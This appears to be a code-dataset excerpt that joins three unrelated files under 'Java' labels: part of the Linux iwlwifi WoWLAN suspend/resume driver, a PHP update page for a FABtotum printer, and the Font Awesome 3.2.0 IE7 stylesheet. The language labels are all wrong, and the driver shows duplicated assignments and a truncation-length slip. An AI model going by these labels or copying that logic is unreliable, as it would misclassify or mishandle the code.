cpu_to_le32(IWL_WOWLAN_WAKEUP_MAGIC_PACKET);
if (wowlan->gtk_rekey_failure)
wowlan_config_cmd.wakeup_filter |=
cpu_to_le32(IWL_WOWLAN_WAKEUP_GTK_REKEY_FAIL);
if (wowlan->eap_identity_req)
wowlan_config_cmd.wakeup_filter |=
cpu_to_le32(IWL_WOWLAN_WAKEUP_EAP_IDENT_REQ);
if (wowlan->four_way_handshake)
wowlan_config_cmd.wakeup_filter |=
cpu_to_le32(IWL_WOWLAN_WAKEUP_4WAY_HANDSHAKE);
if (wowlan->n_patterns)
wowlan_config_cmd.wakeup_filter |=
cpu_to_le32(IWL_WOWLAN_WAKEUP_PATTERN_MATCH);
if (wowlan->rfkill_release)
wowlan_config_cmd.wakeup_filter |=
cpu_to_le32(IWL_WOWLAN_WAKEUP_RF_KILL_DEASSERT);
if (wowlan->tcp) {
/*
* Set the "link change" (really "link lost") flag as well
* since that implies losing the TCP connection.
*/
wowlan_config_cmd.wakeup_filter |=
cpu_to_le32(IWL_WOWLAN_WAKEUP_REMOTE_LINK_LOSS |
IWL_WOWLAN_WAKEUP_REMOTE_SIGNATURE_TABLE |
IWL_WOWLAN_WAKEUP_REMOTE_WAKEUP_PACKET |
IWL_WOWLAN_WAKEUP_LINK_CHANGE);
}
iwl_mvm_cancel_scan(mvm);
iwl_trans_stop_device(mvm->trans);
/*
* The D3 firmware still hardcodes the AP station ID for the
* BSS we're associated with as 0. Store the real STA ID here
* and assign 0. When we leave this function, we'll restore
* the original value for the resume code.
*/
old_ap_sta_id = mvm_ap_sta->sta_id;
mvm_ap_sta->sta_id = 0;
mvmvif->ap_sta_id = 0;
/*
* Set the HW restart bit -- this is mostly true as we're
* going to load new firmware and reprogram that, though
* the reprogramming is going to be manual to avoid adding
* all the MACs that aren't support.
* We don't have to clear up everything though because the
* reprogramming is manual. When we resume, we'll actually
* go through a proper restart sequence again to switch
* back to the runtime firmware image.
*/
set_bit(IWL_MVM_STATUS_IN_HW_RESTART, &mvm->status);
/* We reprogram keys and shouldn't allocate new key indices */
memset(mvm->fw_key_table, 0, sizeof(mvm->fw_key_table));
mvm->ptk_ivlen = 0;
mvm->ptk_icvlen = 0;
mvm->ptk_ivlen = 0;
mvm->ptk_icvlen = 0;
/*
* The D3 firmware still hardcodes the AP station ID for the
* BSS we're associated with as 0. As a result, we have to move
* the auxiliary station to ID 1 so the ID 0 remains free for
* the AP station for later.
* We set the sta_id to 1 here, and reset it to its previous
* value (that we stored above) later.
*/
mvm->aux_sta.sta_id = 1;
ret = iwl_mvm_load_d3_fw(mvm);
if (ret)
goto out;
ret = iwl_mvm_d3_reprogram(mvm, vif, ap_sta);
if (ret)
goto out;
if (!iwlwifi_mod_params.sw_crypto) {
/*
* This needs to be unlocked due to lock ordering
* constraints. Since we're in the suspend path
* that isn't really a problem though.
*/
mutex_unlock(&mvm->mutex);
ieee80211_iter_keys(mvm->hw, vif,
iwl_mvm_wowlan_program_keys,
&key_data);
mutex_lock(&mvm->mutex);
if (key_data.error) {
ret = -EIO;
goto out;
}
if (key_data.use_rsc_tsc) {
struct iwl_host_cmd rsc_tsc_cmd = {
.id = WOWLAN_TSC_RSC_PARAM,
.flags = CMD_SYNC,
.data[0] = key_data.rsc_tsc,
.dataflags[0] = IWL_HCMD_DFL_NOCOPY,
.len[0] = sizeof(*key_data.rsc_tsc),
};
ret = iwl_mvm_send_cmd(mvm, &rsc_tsc_cmd);
if (ret)
goto out;
}
if (key_data.use_tkip) {
ret = iwl_mvm_send_cmd_pdu(mvm,
WOWLAN_TKIP_PARAM,
CMD_SYNC, sizeof(tkip_cmd),
&tkip_cmd);
if (ret)
goto out;
}
if (mvmvif->rekey_data.valid) {
memset(&kek_kck_cmd, 0, sizeof(kek_kck_cmd));
memcpy(kek_kck_cmd.kck, mvmvif->rekey_data.kck,
NL80211_KCK_LEN);
kek_kck_cmd.kck_len = cpu_to_le16(NL80211_KCK_LEN);
memcpy(kek_kck_cmd.kek, mvmvif->rekey_data.kek,
NL80211_KEK_LEN);
kek_kck_cmd.kek_len = cpu_to_le16(NL80211_KEK_LEN);
kek_kck_cmd.replay_ctr = mvmvif->rekey_data.replay_ctr;
ret = iwl_mvm_send_cmd_pdu(mvm,
WOWLAN_KEK_KCK_MATERIAL,
CMD_SYNC,
sizeof(kek_kck_cmd),
&kek_kck_cmd);
if (ret)
goto out;
}
}
ret = iwl_mvm_send_cmd_pdu(mvm, WOWLAN_CONFIGURATION,
CMD_SYNC, sizeof(wowlan_config_cmd),
&wowlan_config_cmd);
if (ret)
goto out;
ret = iwl_mvm_send_patterns(mvm, wowlan);
if (ret)
goto out;
ret = iwl_mvm_send_proto_offload(mvm, vif);
if (ret)
goto out;
ret = iwl_mvm_send_remote_wake_cfg(mvm, vif, wowlan->tcp);
if (ret)
goto out;
ret = iwl_mvm_power_update_device_mode(mvm);
if (ret)
goto out;
ret = iwl_mvm_power_update_mode(mvm, vif);
if (ret)
goto out;
#ifdef CONFIG_IWLWIFI_DEBUGFS
if (mvm->d3_wake_sysassert)
d3_cfg_cmd_data.wakeup_flags |=
cpu_to_le32(IWL_WAKEUP_D3_CONFIG_FW_ERROR);
#endif
/* must be last -- this switches firmware state */
ret = iwl_mvm_send_cmd(mvm, &d3_cfg_cmd);
if (ret)
goto out;
#ifdef CONFIG_IWLWIFI_DEBUGFS
len = le32_to_cpu(d3_cfg_cmd.resp_pkt->len_n_flags) &
FH_RSCSR_FRAME_SIZE_MSK;
if (len >= sizeof(u32) * 2) {
mvm->d3_test_pme_ptr =
le32_to_cpup((__le32 *)d3_cfg_cmd.resp_pkt->data);
}
#endif
iwl_free_resp(&d3_cfg_cmd);
clear_bit(IWL_MVM_STATUS_IN_HW_RESTART, &mvm->status);
iwl_trans_d3_suspend(mvm->trans, test);
out:
mvm->aux_sta.sta_id = old_aux_sta_id;
mvm_ap_sta->sta_id = old_ap_sta_id;
mvmvif->ap_sta_id = old_ap_sta_id;
if (ret < 0)
ieee80211_restart_hw(mvm->hw);
out_noreset:
kfree(key_data.rsc_tsc);
mutex_unlock(&mvm->mutex);
return ret;
}
int iwl_mvm_suspend(struct ieee80211_hw *hw, struct cfg80211_wowlan *wowlan)
{
return __iwl_mvm_suspend(hw, wowlan, false);
}
/* converted data from the different status responses */
struct iwl_wowlan_status_data {
u16 pattern_number;
u16 qos_seq_ctr[8];
u32 wakeup_reasons;
u32 wake_packet_length;
u32 wake_packet_bufsize;
const u8 *wake_packet;
};
static void iwl_mvm_report_wakeup_reasons(struct iwl_mvm *mvm,
struct ieee80211_vif *vif,
struct iwl_wowlan_status_data *status)
{
struct sk_buff *pkt = NULL;
struct cfg80211_wowlan_wakeup wakeup = {
.pattern_idx = -1,
};
struct cfg80211_wowlan_wakeup *wakeup_report = &wakeup;
u32 reasons = status->wakeup_reasons;
if (reasons == IWL_WOWLAN_WAKEUP_BY_NON_WIRELESS) {
wakeup_report = NULL;
goto report;
}
if (reasons & IWL_WOWLAN_WAKEUP_BY_MAGIC_PACKET)
wakeup.magic_pkt = true;
if (reasons & IWL_WOWLAN_WAKEUP_BY_PATTERN)
wakeup.pattern_idx =
status->pattern_number;
if (reasons & (IWL_WOWLAN_WAKEUP_BY_DISCONNECTION_ON_MISSED_BEACON |
IWL_WOWLAN_WAKEUP_BY_DISCONNECTION_ON_DEAUTH))
wakeup.disconnect = true;
if (reasons & IWL_WOWLAN_WAKEUP_BY_GTK_REKEY_FAILURE)
wakeup.gtk_rekey_failure = true;
if (reasons & IWL_WOWLAN_WAKEUP_BY_RFKILL_DEASSERTED)
wakeup.rfkill_release = true;
if (reasons & IWL_WOWLAN_WAKEUP_BY_EAPOL_REQUEST)
wakeup.eap_identity_req = true;
if (reasons & IWL_WOWLAN_WAKEUP_BY_FOUR_WAY_HANDSHAKE)
wakeup.four_way_handshake = true;
if (reasons & IWL_WOWLAN_WAKEUP_BY_REM_WAKE_LINK_LOSS)
wakeup.tcp_connlost = true;
if (reasons & IWL_WOWLAN_WAKEUP_BY_REM_WAKE_SIGNATURE_TABLE)
wakeup.tcp_nomoretokens = true;
if (reasons & IWL_WOWLAN_WAKEUP_BY_REM_WAKE_WAKEUP_PACKET)
wakeup.tcp_match = true;
if (status->wake_packet_bufsize) {
int pktsize = status->wake_packet_bufsize;
int pktlen = status->wake_packet_length;
const u8 *pktdata = status->wake_packet;
struct ieee80211_hdr *hdr = (void *)pktdata;
int truncated = pktlen - pktsize;
/* this would be a firmware bug */
if (WARN_ON_ONCE(truncated < 0))
truncated = 0;
if (ieee80211_is_data(hdr->frame_control)) {
int hdrlen = ieee80211_hdrlen(hdr->frame_control);
int ivlen = 0, icvlen = 4; /* also FCS */
pkt = alloc_skb(pktsize, GFP_KERNEL);
if (!pkt)
goto report;
memcpy(skb_put(pkt, hdrlen), pktdata, hdrlen);
pktdata += hdrlen;
pktsize -= hdrlen;
if (ieee80211_has_protected(hdr->frame_control)) {
/*
* This is unlocked and using gtk_i(c)vlen,
* but since everything is under RTNL still
* that's not really a problem - changing
* it would be difficult.
*/
if (is_multicast_ether_addr(hdr->addr1)) {
ivlen = mvm->gtk_ivlen;
icvlen += mvm->gtk_icvlen;
} else {
ivlen = mvm->ptk_ivlen;
icvlen += mvm->ptk_icvlen;
}
}
/* if truncated, FCS/ICV is (partially) gone */
if (truncated >= icvlen) {
icvlen = 0;
truncated -= icvlen;
} else {
icvlen -= truncated;
truncated = 0;
}
pktsize -= ivlen + icvlen;
pktdata += ivlen;
memcpy(skb_put(pkt, pktsize), pktdata, pktsize);
if (ieee80211_data_to_8023(pkt, vif->addr, vif->type))
goto report;
wakeup.packet = pkt->data;
wakeup.packet_present_len = pkt->len;
wakeup.packet_len = pkt->len - truncated;
wakeup.packet_80211 = false;
} else {
int fcslen = 4;
if (truncated >= 4) {
truncated -= 4;
fcslen = 0;
} else {
fcslen -= truncated;
truncated = 0;
}
pktsize -= fcslen;
wakeup.packet = status->wake_packet;
wakeup.packet_present_len = pktsize;
wakeup.packet_len = pktlen - truncated;
wakeup.packet_80211 = true;
}
}
report:
ieee80211_report_wowlan_wakeup(vif, wakeup_report, GFP_KERNEL);
kfree_skb(pkt);
}
static void iwl_mvm_aes_sc_to_seq(struct aes_sc *sc,
struct ieee80211_key_seq *seq)
{
u64 pn;
pn = le64_to_cpu(sc->pn);
seq->ccmp.pn[0] = pn >> 40;
seq->ccmp.pn[1] = pn >> 32;
seq->ccmp.pn[2] = pn >> 24;
seq->ccmp.pn[3] = pn >> 16;
seq->ccmp.pn[4] = pn >> 8;
seq->ccmp.pn[5] = pn;
}
static void iwl_mvm_tkip_sc_to_seq(struct tkip_sc *sc,
struct ieee80211_key_seq *seq)
{
seq->tkip.iv32 = le32_to_cpu(sc->iv32);
seq->tkip.iv16 = le16_to_cpu(sc->iv16);
}
static void iwl_mvm_set_aes_rx_seq(struct aes_sc *scs,
struct ieee80211_key_conf *key)
{
int tid;
BUILD_BUG_ON(IWL_NUM_RSC != IEEE80211_NUM_TIDS);
for (tid = 0; tid < IWL_NUM_RSC; tid++) {
struct ieee80211_key_seq seq = {};
iwl_mvm_aes_sc_to_seq(&scs[tid], &seq);
ieee80211_set_key_rx_seq(key, tid, &seq);
}
}
static void iwl_mvm_set_tkip_rx_seq(struct tkip_sc *scs,
struct ieee80211_key_conf *key)
{
int tid;
BUILD_BUG_ON(IWL_NUM_RSC != IEEE80211_NUM_TIDS);
for (tid = 0; tid < IWL_NUM_RSC; tid++) {
struct ieee80211_key_seq seq = {};
iwl_mvm_tkip_sc_to_seq(&scs[tid], &seq);
ieee80211_set_key_rx_seq(key, tid, &seq);
}
}
static void iwl_mvm_set_key_rx_seq(struct ieee80211_key_conf *key,
struct iwl_wowlan_status_v6 *status)
{
union iwl_all_tsc_rsc *rsc = &status->gtk.rsc.all_tsc_rsc;
switch (key->cipher) {
case WLAN_CIPHER_SUITE_CCMP:
iwl_mvm_set_aes_rx_seq(rsc->aes.multicast_rsc, key);
break;
case WLAN_CIPHER_SUITE_TKIP:
iwl_mvm_set_tkip_rx_seq(rsc->tkip.multicast_rsc, key);
break;
default:
WARN_ON(1);
}
}
struct iwl_mvm_d3_gtk_iter_data {
struct iwl_wowlan_status_v6 *status;
void *last_gtk;
u32 cipher;
bool find_phase, unhandled_cipher;
int num_keys;
};
static void iwl_mvm_d3_update_gtks(struct ieee80211_hw *hw,
struct ieee80211_vif *vif,
struct ieee80211_sta *sta,
struct ieee80211_key_conf *key,
void *_data)
{
struct iwl_mvm_d3_gtk_iter_data *data = _data;
if (data->unhandled_cipher)
return;
switch (key->cipher) {
case WLAN_CIPHER_SUITE_WEP40:
case WLAN_CIPHER_SUITE_WEP104:
/* ignore WEP completely, nothing to do */
return;
case WLAN_CIPHER_SUITE_CCMP:
case WLAN_CIPHER_SUITE_TKIP:
/* we support these */
break;
default:
/* everything else (even CMAC for MFP) - disconnect from AP */
data->unhandled_cipher = true;
return;
}
data->num_keys++;
/*
* pairwise key - update sequence counters only;
* note that this assumes no TDLS sessions are active
*/
if (sta) {
struct ieee80211_key_seq seq = {};
union iwl_all_tsc_rsc *sc = &data->status->gtk.rsc.all_tsc_rsc;
if (data->find_phase)
return;
switch (key->cipher) {
case WLAN_CIPHER_SUITE_CCMP:
iwl_mvm_aes_sc_to_seq(&sc->aes.tsc, &seq);
iwl_mvm_set_aes_rx_seq(sc->aes.unicast_rsc, key);
break;
case WLAN_CIPHER_SUITE_TKIP:
iwl_mvm_tkip_sc_to_seq(&sc->tkip.tsc, &seq);
iwl_mvm_set_tkip_rx_seq(sc->tkip.unicast_rsc, key);
break;
}
ieee80211_set_key_tx_seq(key, &seq);
/* that's it for this key */
return;
}
if (data->find_phase) {
data->last_gtk = key;
data->cipher = key->cipher;
return;
}
if (data->status->num_of_gtk_rekeys)
ieee80211_remove_key(key);
else if (data->last_gtk == key)
iwl_mvm_set_key_rx_seq(key, data->status);
}
static bool iwl_mvm_setup_connection_keep(struct iwl_mvm *mvm,
struct ieee80211_vif *vif,
struct iwl_wowlan_status_v6 *status)
{
struct iwl_mvm_vif *mvmvif = iwl_mvm_vif_from_mac80211(vif);
struct iwl_mvm_d3_gtk_iter_data gtkdata = {
.status = status,
};
u32 disconnection_reasons =
IWL_WOWLAN_WAKEUP_BY_DISCONNECTION_ON_MISSED_BEACON |
IWL_WOWLAN_WAKEUP_BY_DISCONNECTION_ON_DEAUTH;
if (!status || !vif->bss_conf.bssid)
return false;
if (le32_to_cpu(status->wakeup_reasons) & disconnection_reasons)
return false;
/* find last GTK that we used initially, if any */
gtkdata.find_phase = true;
ieee80211_iter_keys(mvm->hw, vif,
iwl_mvm_d3_update_gtks, >kdata);
/* not trying to keep connections with MFP/unhandled ciphers */
if (gtkdata.unhandled_cipher)
return false;
if (!gtkdata.num_keys)
goto out;
if (!gtkdata.last_gtk)
return false;
/*
* invalidate all other GTKs that might still exist and update
* the one that we used
*/
gtkdata.find_phase = false;
ieee80211_iter_keys(mvm->hw, vif,
iwl_mvm_d3_update_gtks, >kdata);
if (status->num_of_gtk_rekeys) {
struct ieee80211_key_conf *key;
struct {
struct ieee80211_key_conf conf;
u8 key[32];
} conf = {
.conf.cipher = gtkdata.cipher,
.conf.keyidx = status->gtk.key_index,
};
switch (gtkdata.cipher) {
case WLAN_CIPHER_SUITE_CCMP:
conf.conf.keylen = WLAN_KEY_LEN_CCMP;
memcpy(conf.conf.key, status->gtk.decrypt_key,
WLAN_KEY_LEN_CCMP);
break;
case WLAN_CIPHER_SUITE_TKIP:
conf.conf.keylen = WLAN_KEY_LEN_TKIP;
memcpy(conf.conf.key, status->gtk.decrypt_key, 16);
/* leave TX MIC key zeroed, we don't use it anyway */
memcpy(conf.conf.key +
NL80211_TKIP_DATA_OFFSET_RX_MIC_KEY,
status->gtk.tkip_mic_key, 8);
break;
}
key = ieee80211_gtk_rekey_add(vif, &conf.conf);
if (IS_ERR(key))
return false;
iwl_mvm_set_key_rx_seq(key, status);
}
if (status->num_of_gtk_rekeys) {
__be64 replay_ctr =
cpu_to_be64(le64_to_cpu(status->replay_ctr));
ieee80211_gtk_rekey_notify(vif, vif->bss_conf.bssid,
(void *)&replay_ctr, GFP_KERNEL);
}
out:
mvmvif->seqno_valid = true;
/* +0x10 because the set API expects next-to-use, not last-used */
mvmvif->seqno = le16_to_cpu(status->non_qos_seq_ctr) + 0x10;
return true;
}
/* releases the MVM mutex */
static bool iwl_mvm_query_wakeup_reasons(struct iwl_mvm *mvm,
struct ieee80211_vif *vif)
{
u32 base = mvm->error_event_table;
struct error_table_start {
/* cf. struct iwl_error_event_table */
u32 valid;
u32 error_id;
} err_info;
struct iwl_host_cmd cmd = {
.id = WOWLAN_GET_STATUSES,
.flags = CMD_SYNC | CMD_WANT_SKB,
};
struct iwl_wowlan_status_data status;
struct iwl_wowlan_status_v6 *status_v6;
int ret, len, status_size, i;
bool keep;
struct ieee80211_sta *ap_sta;
struct iwl_mvm_sta *mvm_ap_sta;
iwl_trans_read_mem_bytes(mvm->trans, base,
&err_info, sizeof(err_info));
if (err_info.valid) {
IWL_INFO(mvm, "error table is valid (%d)\n",
err_info.valid);
if (err_info.error_id == RF_KILL_INDICATOR_FOR_WOWLAN) {
struct cfg80211_wowlan_wakeup wakeup = {
.rfkill_release = true,
};
ieee80211_report_wowlan_wakeup(vif, &wakeup,
GFP_KERNEL);
}
goto out_unlock;
}
/* only for tracing for now */
ret = iwl_mvm_send_cmd_pdu(mvm, OFFLOADS_QUERY_CMD, CMD_SYNC, 0, NULL);
if (ret)
IWL_ERR(mvm, "failed to query offload statistics (%d)\n", ret);
ret = iwl_mvm_send_cmd(mvm, &cmd);
if (ret) {
IWL_ERR(mvm, "failed to query status (%d)\n", ret);
goto out_unlock;
}
/* RF-kill already asserted again... */
if (!cmd.resp_pkt)
goto out_unlock;
if (mvm->fw->ucode_capa.flags & IWL_UCODE_TLV_FLAGS_D3_CONTINUITY_API)
status_size = sizeof(struct iwl_wowlan_status_v6);
else
status_size = sizeof(struct iwl_wowlan_status_v4);
len = le32_to_cpu(cmd.resp_pkt->len_n_flags) & FH_RSCSR_FRAME_SIZE_MSK;
if (len - sizeof(struct iwl_cmd_header) < status_size) {
IWL_ERR(mvm, "Invalid WoWLAN status response!\n");
goto out_free_resp;
}
if (mvm->fw->ucode_capa.flags & IWL_UCODE_TLV_FLAGS_D3_CONTINUITY_API) {
status_v6 = (void *)cmd.resp_pkt->data;
status.pattern_number = le16_to_cpu(status_v6->pattern_number);
for (i = 0; i < 8; i++)
status.qos_seq_ctr[i] =
le16_to_cpu(status_v6->qos_seq_ctr[i]);
status.wakeup_reasons = le32_to_cpu(status_v6->wakeup_reasons);
status.wake_packet_length =
le32_to_cpu(status_v6->wake_packet_length);
status.wake_packet_bufsize =
le32_to_cpu(status_v6->wake_packet_bufsize);
status.wake_packet = status_v6->wake_packet;
} else {
struct iwl_wowlan_status_v4 *status_v4;
status_v6 = NULL;
status_v4 = (void *)cmd.resp_pkt->data;
status.pattern_number = le16_to_cpu(status_v4->pattern_number);
for (i = 0; i < 8; i++)
status.qos_seq_ctr[i] =
le16_to_cpu(status_v4->qos_seq_ctr[i]);
status.wakeup_reasons = le32_to_cpu(status_v4->wakeup_reasons);
status.wake_packet_length =
le32_to_cpu(status_v4->wake_packet_length);
status.wake_packet_bufsize =
le32_to_cpu(status_v4->wake_packet_bufsize);
status.wake_packet = status_v4->wake_packet;
}
if (len - sizeof(struct iwl_cmd_header) !=
status_size + ALIGN(status.wake_packet_bufsize, 4)) {
IWL_ERR(mvm, "Invalid WoWLAN status response!\n");
goto out_free_resp;
}
/* still at hard-coded place 0 for D3 image */
ap_sta = rcu_dereference_protected(
mvm->fw_id_to_mac_id[0],
lockdep_is_held(&mvm->mutex));
if (IS_ERR_OR_NULL(ap_sta))
goto out_free_resp;
mvm_ap_sta = (struct iwl_mvm_sta *)ap_sta->drv_priv;
for (i = 0; i < IWL_MAX_TID_COUNT; i++) {
u16 seq = status.qos_seq_ctr[i];
/* firmware stores last-used value, we store next value */
seq += 0x10;
mvm_ap_sta->tid_data[i].seq_number = seq;
}
/* now we have all the data we need, unlock to avoid mac80211 issues */
mutex_unlock(&mvm->mutex);
iwl_mvm_report_wakeup_reasons(mvm, vif, &status);
keep = iwl_mvm_setup_connection_keep(mvm, vif, status_v6);
iwl_free_resp(&cmd);
return keep;
out_free_resp:
iwl_free_resp(&cmd);
out_unlock:
mutex_unlock(&mvm->mutex);
return false;
}
static void iwl_mvm_read_d3_sram(struct iwl_mvm *mvm)
{
#ifdef CONFIG_IWLWIFI_DEBUGFS
const struct fw_img *img = &mvm->fw->img[IWL_UCODE_WOWLAN];
u32 len = img->sec[IWL_UCODE_SECTION_DATA].len;
u32 offs = img->sec[IWL_UCODE_SECTION_DATA].offset;
if (!mvm->store_d3_resume_sram)
return;
if (!mvm->d3_resume_sram) {
mvm->d3_resume_sram = kzalloc(len, GFP_KERNEL);
if (!mvm->d3_resume_sram)
return;
}
iwl_trans_read_mem_bytes(mvm->trans, offs, mvm->d3_resume_sram, len);
#endif
}
static void iwl_mvm_d3_disconnect_iter(void *data, u8 *mac,
struct ieee80211_vif *vif)
{
/* skip the one we keep connection on */
if (data == vif)
return;
if (vif->type == NL80211_IFTYPE_STATION)
ieee80211_resume_disconnect(vif);
}
static int __iwl_mvm_resume(struct iwl_mvm *mvm, bool test)
{
struct iwl_d3_iter_data resume_iter_data = {
.mvm = mvm,
};
struct ieee80211_vif *vif = NULL;
int ret;
enum iwl_d3_status d3_status;
bool keep = false;
mutex_lock(&mvm->mutex);
/* get the BSS vif pointer again */
ieee80211_iterate_active_interfaces_atomic(
mvm->hw, IEEE80211_IFACE_ITER_NORMAL,
iwl_mvm_d3_iface_iterator, &resume_iter_data);
if (WARN_ON(resume_iter_data.error || !resume_iter_data.vif))
goto out_unlock;
vif = resume_iter_data.vif;
ret = iwl_trans_d3_resume(mvm->trans, &d3_status, test);
if (ret)
goto out_unlock;
if (d3_status != IWL_D3_STATUS_ALIVE) {
IWL_INFO(mvm, "Device was reset during suspend\n");
goto out_unlock;
}
/* query SRAM first in case we want event logging */
iwl_mvm_read_d3_sram(mvm);
keep = iwl_mvm_query_wakeup_reasons(mvm, vif);
#ifdef CONFIG_IWLWIFI_DEBUGFS
if (keep)
mvm->keep_vif = vif;
#endif
/* has unlocked the mutex, so skip that */
goto out;
out_unlock:
mutex_unlock(&mvm->mutex);
out:
if (!test)
ieee80211_iterate_active_interfaces_rtnl(mvm->hw,
IEEE80211_IFACE_ITER_NORMAL,
iwl_mvm_d3_disconnect_iter, keep ? vif : NULL);
/* return 1 to reconfigure the device */
set_bit(IWL_MVM_STATUS_IN_HW_RESTART, &mvm->status);
return 1;
}
int iwl_mvm_resume(struct ieee80211_hw *hw)
{
struct iwl_mvm *mvm = IWL_MAC80211_GET_MVM(hw);
return __iwl_mvm_resume(mvm, false);
}
void iwl_mvm_set_wakeup(struct ieee80211_hw *hw, bool enabled)
{
struct iwl_mvm *mvm = IWL_MAC80211_GET_MVM(hw);
device_set_wakeup_enable(mvm->trans->dev, enabled);
}
#ifdef CONFIG_IWLWIFI_DEBUGFS
static int iwl_mvm_d3_test_open(struct inode *inode, struct file *file)
{
struct iwl_mvm *mvm = inode->i_private;
int err;
if (mvm->d3_test_active)
return -EBUSY;
file->private_data = inode->i_private;
ieee80211_stop_queues(mvm->hw);
synchronize_net();
/* start pseudo D3 */
rtnl_lock();
err = __iwl_mvm_suspend(mvm->hw, mvm->hw->wiphy->wowlan_config, true);
rtnl_unlock();
if (err > 0)
err = -EINVAL;
if (err) {
ieee80211_wake_queues(mvm->hw);
return err;
}
mvm->d3_test_active = true;
mvm->keep_vif = NULL;
return 0;
}
static ssize_t iwl_mvm_d3_test_read(struct file *file, char __user *user_buf,
size_t count, loff_t *ppos)
{
struct iwl_mvm *mvm = file->private_data;
u32 pme_asserted;
while (true) {
/* read pme_ptr if available */
if (mvm->d3_test_pme_ptr) {
pme_asserted = iwl_trans_read_mem32(mvm->trans,
mvm->d3_test_pme_ptr);
if (pme_asserted)
break;
}
if (msleep_interruptible(100))
break;
}
return 0;
}
static void iwl_mvm_d3_test_disconn_work_iter(void *_data, u8 *mac,
struct ieee80211_vif *vif)
{
/* skip the one we keep connection on */
if (_data == vif)
return;
if (vif->type == NL80211_IFTYPE_STATION)
ieee80211_connection_loss(vif);
}
static int iwl_mvm_d3_test_release(struct inode *inode, struct file *file)
{
struct iwl_mvm *mvm = inode->i_private;
int remaining_time = 10;
mvm->d3_test_active = false;
__iwl_mvm_resume(mvm, true);
iwl_abort_notification_waits(&mvm->notif_wait);
ieee80211_restart_hw(mvm->hw);
/* wait for restart and disconnect all interfaces */
while (test_bit(IWL_MVM_STATUS_IN_HW_RESTART, &mvm->status) &&
remaining_time > 0) {
remaining_time--;
msleep(1000);
}
if (remaining_time == 0)
IWL_ERR(mvm, "Timed out waiting for HW restart to finish!\n");
ieee80211_iterate_active_interfaces_atomic(
mvm->hw, IEEE80211_IFACE_ITER_NORMAL,
iwl_mvm_d3_test_disconn_work_iter, mvm->keep_vif);
ieee80211_wake_queues(mvm->hw);
return 0;
}
const struct file_operations iwl_dbgfs_d3_test_ops = {
.llseek = no_llseek,
.open = iwl_mvm_d3_test_open,
.read = iwl_mvm_d3_test_read,
.release = iwl_mvm_d3_test_release,
};
#endif
| Java |
<div class="row">
<div class="col-sm-12">
<div class="row">
<div class="text-center">
<h1 class="tada animated font-xl ">
<span style="position: relative;">
<i class="fa fa-play fa-rotate-90 fa-border fa-4x"></i>
<span>
<?php if($updated): ?>
<b style="position:absolute; right: -30px; top:-10" class="badge bg-color-green font-md"><i class="fa fa-check txt-color-black"></i> </b>
<?php else: ?>
<b style="position:absolute; right: -30px; top:-10" class="badge bg-color-red font-md"><i class="fa fa-refresh error"></i></b>
<?php endif; ?>
</span>
</span>
</h1>
<?php if($updated): ?>
<h2 class="font-xl"><strong>Great! Your FABtotum Personal Fabricator is up to date</strong></h2>
<?php else: ?>
<h2 class="font-xl title"><strong> New important software updates are now available</strong></h2>
<button id="update" class="btn btn-lg bg-color-red txt-color-white">Update now!</button>
<p class="lead semi-bold">
<small class="off-message hidden">Please don't turn off the printer until the operation is completed</small>
</p>
<button data-toggle="modal" data-backdrop="static" data-target="#modal" class="btn btn-xs bg-color-blue txt-color-white " style=""> See what's new!</button>
<?php endif; ?>
</div>
</div>
<?php if(!$updated): ?>
<div class="row">
<div class="col-sm-12">
<div class="text-center margin-top-10">
<div class="well mini">
<p class="text-left">
<span class="download-info">Downloading update files</span> <span class="pull-right"> <span class="percent"></span> </span>
</p>
<div class="progress">
<div class="progress progress-striped">
<div class="progress-bar download-progress bg-color-blue" role="progressbar" style="width: 0%"></div>
</div>
</div>
</div>
<button id="cancel" class="btn btn-lg bg-color-red txt-color-white"> Cancel</button>
</div>
</div>
</div>
<?php endif; ?>
</div>
</div>
<?php if(!$updated): ?>
<div class="modal fade" id="modal" tabindex="-1" role="dialog" aria-labelledby="myModalLabel" aria-hidden="true">
<div class="modal-dialog">
<div class="modal-content">
<div class="modal-header">
<button type="button" class="close" data-dismiss="modal" aria-hidden="true">
×
</button>
<h4 class="modal-title" id="myModalLabel">FABUI v.<?php echo $remote_version; ?> Changelog</h4>
</div>
<div class="modal-body no-padding">
<?php echo fabui_changelog($remote_version) ?>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-default" data-dismiss="modal">OK</button>
</div>
</div><!-- /.modal-content -->
</div><!-- /.modal-dialog -->
</div>
<?php endif; ?> | Java |
/*!
* Font Awesome 3.2.0
* the iconic font designed for Bootstrap
* ------------------------------------------------------------------------------
* The full suite of pictographic icons, examples, and documentation can be
* found at http://fontawesome.io. Stay up to date on Twitter at
* http://twitter.com/fontawesome.
*
* License
* ------------------------------------------------------------------------------
* - The Font Awesome font is licensed under SIL OFL 1.1 -
* http://scripts.sil.org/OFL
* - Font Awesome CSS, LESS, and SASS files are licensed under MIT License -
* http://opensource.org/licenses/mit-license.html
* - Font Awesome documentation licensed under CC BY 3.0 -
* http://creativecommons.org/licenses/by/3.0/
* - Attribution is no longer required in Font Awesome 3.0, but much appreciated:
* "Font Awesome by Dave Gandy - http://fontawesome.io"
*
* Author - Dave Gandy
* ------------------------------------------------------------------------------
* Email: dave@fontawesome.io
* Twitter: http://twitter.com/byscuits
* Work: Lead Product Designer @ Kyruus - http://kyruus.com
*/
.icon-large{font-size:1.3333333333333333em;margin-top:-4px;padding-top:3px;margin-bottom:-4px;padding-bottom:3px;vertical-align:middle;}
.nav [class^="icon-"],.nav [class*=" icon-"]{vertical-align:inherit;margin-top:-4px;padding-top:3px;margin-bottom:-4px;padding-bottom:3px;}.nav [class^="icon-"].icon-large,.nav [class*=" icon-"].icon-large{vertical-align:-25%;}
.nav-pills [class^="icon-"].icon-large,.nav-tabs [class^="icon-"].icon-large,.nav-pills [class*=" icon-"].icon-large,.nav-tabs [class*=" icon-"].icon-large{line-height:.75em;margin-top:-7px;padding-top:5px;margin-bottom:-5px;padding-bottom:4px;}
.btn [class^="icon-"].pull-left,.btn [class*=" icon-"].pull-left,.btn [class^="icon-"].pull-right,.btn [class*=" icon-"].pull-right{vertical-align:inherit;}
.btn [class^="icon-"].icon-large,.btn [class*=" icon-"].icon-large{margin-top:-0.5em;}
a [class^="icon-"],a [class*=" icon-"]{cursor:pointer;}
.icon-glass{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-music{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
.icon-search{*zoom:expression( this.runtimeStyle['zoom'] = '1', this.innerHTML = '');}
